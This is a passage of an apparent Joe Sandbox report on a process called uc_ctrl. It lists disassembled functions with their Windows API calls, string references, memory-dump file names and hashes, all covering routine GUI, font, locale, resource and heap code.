?Close@CWindowWnd@UiLib@@QAEXI@Z.UC_GUILIB(00000001), ref: 00772CED
?OnClick@WindowImplBase@UiLib@@UAEXAAUtagTNotifyUI@2@@Z.UC_GUILIB(?), ref: 00772D0C

Strings

btn_ok, xrefs: 00772B48

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: Lib@@$String@Window$Base@Click@Close@I@2@@ImplNotifyUtagWnd@
String ID: btn_ok
API String ID: 2020314825-2091937784
Opcode ID: 31a12988ee1b6d3273476dd6e1696bab080557d200567761d9cd46a7691d7f23
Instruction ID: 6193ee7bc8eb8aaf84f06e7d7a98b0e05294204e36b6d208ec370b9faba69068
Opcode Fuzzy Hash: 31a12988ee1b6d3273476dd6e1696bab080557d200567761d9cd46a7691d7f23
Instruction Fuzzy Hash: 7961C0716002069FDB25DF24C844BAAB3F1FF64394F14C969D82ADB252DB35AC42CBA0

Function 6C6BAEE0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6BAEE7
LoadImageW.USER32(?,00000000,00000000,00000000,00000000,00002000), ref: 6C6BB08A
GetObjectW.GDI32(00000000,00000018,?), ref: 6C6BB09C
DeleteObject.GDI32(00000000), ref: 6C6BB0F4

Strings

xa~l, xrefs: 6C6BB101

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Object$DeleteH_prolog3ImageLoad
String ID: xa~l
API String ID: 91933946-862097267
Opcode ID: ca871cf403b6d1f0bbe0a3ef6932ab4389e42083de4e47627ec86e6be4003cc4
Instruction ID: c2cf74942cc4b83deba4ddacd46613d91f3bf51b1b426c4093cf944fcf2456c6
Opcode Fuzzy Hash: ca871cf403b6d1f0bbe0a3ef6932ab4389e42083de4e47627ec86e6be4003cc4
Instruction Fuzzy Hash: 9E719B71D012148BCF05CFA4C8807EE7BB5AF4A314F1082AAEC25BB786C7319955CBAC

Function 6C92FAD8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,00000008,?,?,?,6C92F1AC), ref: 6C92FAFA
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,00000080,6C92F1AC), ref: 6C92FB7B

Strings

i, xrefs: 6C92FB39
I, xrefs: 6C92FB40

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: iswctype
String ID: I$i
API String ID: 304682654-1166825223
Opcode ID: a8f445fde0d395a16788096792e84263165c2514399c2134b87e68c3007000d3
Instruction ID: 19e5ec87c5fb7e8028ed934588d8b61b0de0cd729d33068391b0bc61b5ae1a95
Opcode Fuzzy Hash: a8f445fde0d395a16788096792e84263165c2514399c2134b87e68c3007000d3
Instruction Fuzzy Hash: BF51F371E1423586DB24CF4AC4906BAB3B8FB0575CFA04556ECD99B988E3BCD9C1C290

Function 6C92E4F8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6C92DA4C), ref: 6C92E515
isxdigit.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C92DA4C), ref: 6C92E566

Strings

), xrefs: 6C92E636
_, xrefs: 6C92E631

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: isspaceisxdigit
String ID: )$_
API String ID: 2593999819-3269527998
Opcode ID: de58232a15a0a73b1cf7c2c78ac66f576869699af20449dfd48ef81f9d63c343
Instruction ID: 85ad49e604e43eff9352b1262c02c2c2ac9e3c451c00fdef2b03d8ad9ec47c2c
Opcode Fuzzy Hash: de58232a15a0a73b1cf7c2c78ac66f576869699af20449dfd48ef81f9d63c343
Instruction Fuzzy Hash: 444105A0A7D2954BEF214A3984D0FE67BEE5B0731BF984445D1E44790DE22CDC4347D5

Function 6C94B930 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C94B937
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000003C), ref: 6C94B951

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93632C: __EH_prolog3.LIBCMT ref: 6C936333
Part of subcall function 6C93632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C93633E
Part of subcall function 6C93632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C936356
Part of subcall function 6C93632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C9363BA

std::locale::~locale.LIBCPMT ref: 6C94B96A

Strings

0123456789-, xrefs: 6C94B97A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID: 0123456789-
API String ID: 601694680-3850129594
Opcode ID: 05bd21528478ade7aa302a871dd2a410f9a73294816a57ecaa53717d2d24f08b
Instruction ID: 6af81a862c7153ad588a75f623878713197ab2bac78cbddec6d2cc159c1dde50
Opcode Fuzzy Hash: 05bd21528478ade7aa302a871dd2a410f9a73294816a57ecaa53717d2d24f08b
Instruction Fuzzy Hash: 2D41E431D055199FCF05CFA8C8907FEBBB6BF59308F148058E4516B695CB35D906CB51

Function 00774CB0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w,?,?,00000000,00000000), ref: 00774CF6

Part of subcall function 00776290: LoadResource.KERNEL32(00000000,00000000,00000001,00000000,?,p#w,00774D0C,p#w,?,00000000,00000000,p#w,00000000,?,00000000), ref: 0077629C
Part of subcall function 00776290: LockResource.KERNEL32(00000000,?,p#w,00774D0C,p#w,?,00000000,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w), ref: 007762A7
Part of subcall function 00776290: SizeofResource.KERNEL32(00000000,00000000,?,p#w,00774D0C,p#w,?,00000000,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w), ref: 007762B5

FindResourceW.KERNEL32(00000000,?,00000006), ref: 00774D3A
wmemcpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000002,?,00000006), ref: 00774D93

Part of subcall function 00777AA8: EnterCriticalSection.KERNEL32(00781424,p#w,00000000,?,00774CDC,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w,?,?,00000000), ref: 00777AB3
Part of subcall function 00777AA8: LeaveCriticalSection.KERNEL32(00781424,?,00774CDC,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w,?,?,00000000,00000000,00779728), ref: 00777ADF

Strings

p#w, xrefs: 00774CC9
p#w, xrefs: 00774CB4, 00774D00

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: Resource$CriticalFindSection$EnterLeaveLoadLockSizeofwmemcpy_s
String ID: p#w$p#w
API String ID: 1257001182-2963769301
Opcode ID: 958edbde601b14883ab09aeb23f8b92cab08dc3340c11713d78f61e7c6c5dc25
Instruction ID: 10160d7ee8470e1ab65f1921106da5510853d4aed7ec71929a4bb52d232c467b
Opcode Fuzzy Hash: 958edbde601b14883ab09aeb23f8b92cab08dc3340c11713d78f61e7c6c5dc25
Instruction Fuzzy Hash: 1D31F035B00614ABDF209F289884B6AB7A8EF457D0F018129FA4DDB345EB39DD4187E0

Function 6C93FD40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C93FD47
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000048), ref: 6C93FD61

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C93FD7A

Strings

0123456789-, xrefs: 6C93FD8A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID: 0123456789-
API String ID: 601694680-3850129594
Opcode ID: af72cfab80213e74fbe78838878a8a84a4430dde45687afa9f502954e5069053
Instruction ID: 77ee1d079e67d2da1167932a240f994305c1e1dfbccb35b9350caf9f03910679
Opcode Fuzzy Hash: af72cfab80213e74fbe78838878a8a84a4430dde45687afa9f502954e5069053
Instruction Fuzzy Hash: 7541A035900229DBCF11CFA8C884BEDBBB1FF6531CF005199E819ABA54CB34DA1ACB51

Function 6C6A0A01 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6A0A08

Part of subcall function 6C69A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6C69A243

Part of subcall function 6C6E46CA: __EH_prolog3.LIBCMT ref: 6C6E46D1

Part of subcall function 6C6E602D: __EH_prolog3.LIBCMT ref: 6C6E6034

Strings

MFCComboBox_ShowTrueTypeFonts, xrefs: 6C6A0A69
MFCComboBox_DrawUsingFont, xrefs: 6C6A0A41
MFCComboBox_ShowDeviceTypeFonts, xrefs: 6C6A0A93
MFCComboBox_ShowRasterTypeFonts, xrefs: 6C6A0A7E

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharMultiWide
String ID: MFCComboBox_DrawUsingFont$MFCComboBox_ShowDeviceTypeFonts$MFCComboBox_ShowRasterTypeFonts$MFCComboBox_ShowTrueTypeFonts
API String ID: 2949695960-1084877596
Opcode ID: 0165b30d88f2d1c9a80e29900e28da097bc7f5bce7dd12ba5fedaea457652d95
Instruction ID: e87b6bf4915d2e15a220be3fd6a3e0e84871654c92e6b0c8648012d5746f4a31
Opcode Fuzzy Hash: 0165b30d88f2d1c9a80e29900e28da097bc7f5bce7dd12ba5fedaea457652d95
Instruction Fuzzy Hash: 0421CEB190121D9EDF00DFA0C984AEEBBB8AF09318F50482AD511B7651D774DE49CB68

Function 6C696880 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,00000000,00000005,?,?,00000000,00000000,?,6C695720,?,?,?,?,?), ref: 6C6968A2
LoadResource.KERNEL32(?,00000000,?,?,00000000,00000000,?,6C695720,?,?,?,?,?), ref: 6C6968B7
LockResource.KERNEL32(00000000,?,?,00000000,00000000,?,6C695720,?,?,?,?,?), ref: 6C6968C9
GlobalFree.KERNEL32(?), ref: 6C696908

Strings

Wil, xrefs: 6C6968EF

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Resource$FindFreeGlobalLoadLock
String ID: Wil
API String ID: 3898064442-415151498
Opcode ID: 9d552b0b169745f377d96fd97b1d8351eca0d7146f03059a1bc43762a90fa4c4
Instruction ID: f0019a2b9fbef533b42fad252085e9cd9e4c71192cbce5a4bfec949d7330daae
Opcode Fuzzy Hash: 9d552b0b169745f377d96fd97b1d8351eca0d7146f03059a1bc43762a90fa4c4
Instruction Fuzzy Hash: 7A110636100702AFD7818B55C584FAAB7F5EF85329F25807EE84AC3B10CFB0D8059B68

Function 6C694FEE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

Edit, xrefs: 6C695045

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: b3fe5a61c2e377c31421655676d4c1dede7c600a28f056aedd8f07fec167c695
Instruction ID: 666163fa78b9fed33b215ec73dceab53ea351c04cb4f70a772c817d2b7301e56
Opcode Fuzzy Hash: b3fe5a61c2e377c31421655676d4c1dede7c600a28f056aedd8f07fec167c695
Instruction Fuzzy Hash: 99116531342203ABEA301E36DC04FA676A8AB4679AF104635E69792DA1DB72D440C6AD

Function 6C6F6FDE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6F6FE8

Part of subcall function 6C68512A: __EH_prolog3.LIBCMT ref: 6C685131
Part of subcall function 6C68512A: GetWindowDC.USER32(00000000,00000004,6C6B0443,00000000), ref: 6C68515D

EnumFontFamiliesExW.GDI32(?,?,6C6F6EB0,?,00000000), ref: 6C6F7023

Part of subcall function 6C7726D3: __EH_prolog3.LIBCMT ref: 6C7726DA

Part of subcall function 6C772431: GlobalUnlock.KERNEL32(?,00000000,?,?,6C6F7052,?,00000000,0014000C,00000000,?,00000000), ref: 6C77245F
Part of subcall function 6C772431: GlobalUnlock.KERNEL32(?,?,?,6C6F7052,?,00000000,0014000C,00000000,?,00000000), ref: 6C772468

EnumFontFamiliesExW.GDI32(00000000,?,6C6F6E41,?,00000000,?,00000000,0014000C,00000000,?,00000000), ref: 6C6F7078
DeleteObject.GDI32(00000000), ref: 6C6F707F

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

Strings

$~~l, xrefs: 6C6F708B

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: EnumFamiliesFontGlobalH_prolog3Unlock$DeleteException@8H_prolog3_ObjectThrowWindow
String ID: $~~l
API String ID: 4025682896-2781076260
Opcode ID: 00ace8d9c2c4f9197c31e85cd6190a6e7965c8264a6828476c2699b90b913354
Instruction ID: 622a144739c10a52888b71d7fe538b14d4d9f318db904de0ffdb3792f5646b03
Opcode Fuzzy Hash: 00ace8d9c2c4f9197c31e85cd6190a6e7965c8264a6828476c2699b90b913354
Instruction Fuzzy Hash: 9B11607190425CEFDF22DBA0CD98EEEB73DAF0A348F404069E51967651DF705E098B29

Function 00771000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(click,000000FF,001F419D), ref: 00771038
??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(0077A9B4,000000FF), ref: 0077104D
??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(0077A9B4,000000FF,?,?,?,?,?,00779340,000000FF), ref: 00771093
??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(0077A9B4,000000FF,?,?,?,?,?,00779340,000000FF), ref: 007710A5

Part of subcall function 007783C4: __onexit.LIBCMT ref: 007783CA

Strings

click, xrefs: 00771033

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: Lib@@String@$__onexit
String ID: click
API String ID: 2284767783-3136733728
Opcode ID: b9fe69ec6f410e03f39bc761d3a6f9b7cd1c43240ec8664a130dad5e424c3fa0
Instruction ID: e38047b08a2c1a894ba4519450b0d0ade38e809eff449decb4385ed2198eb14c
Opcode Fuzzy Hash: b9fe69ec6f410e03f39bc761d3a6f9b7cd1c43240ec8664a130dad5e424c3fa0
Instruction Fuzzy Hash: 7A217FB0D44299AADF00DF98CD157AEBBB4EB45374F208359D524263D0C7BD26448B81

Function 00778100 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00771727,00000000), ref: 00778108
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00771727,00000000), ref: 00778115
_CxxThrowException.VCRUNTIME140(?,0077C4A4), ref: 00778C95
_CxxThrowException.VCRUNTIME140(?,0077C4F8), ref: 00778CB2

Strings

Unknown exception, xrefs: 00778CBF

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID: Unknown exception
API String ID: 4113974480-410509341
Opcode ID: 31af4d5195ef8b494d754773efd5c2d4436447faac21a849e7518f80e1ed592f
Instruction ID: 3ffc737f3990ebb492b6e6aef5bbf849786ff8bf1d779106bd975efdb2bed3f5
Opcode Fuzzy Hash: 31af4d5195ef8b494d754773efd5c2d4436447faac21a849e7518f80e1ed592f
Instruction Fuzzy Hash: 53F04464A4020DB6CF40F6A4DC5E8AD776C6E007D0BA0C574BA1CA5092EF7CE95685A2

Function 6C94269B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9426A2
new.LIBCMT ref: 6C9426B6

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C9498A0,00000000), ref: 6C9426D0

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C9498A0,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9426E4

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
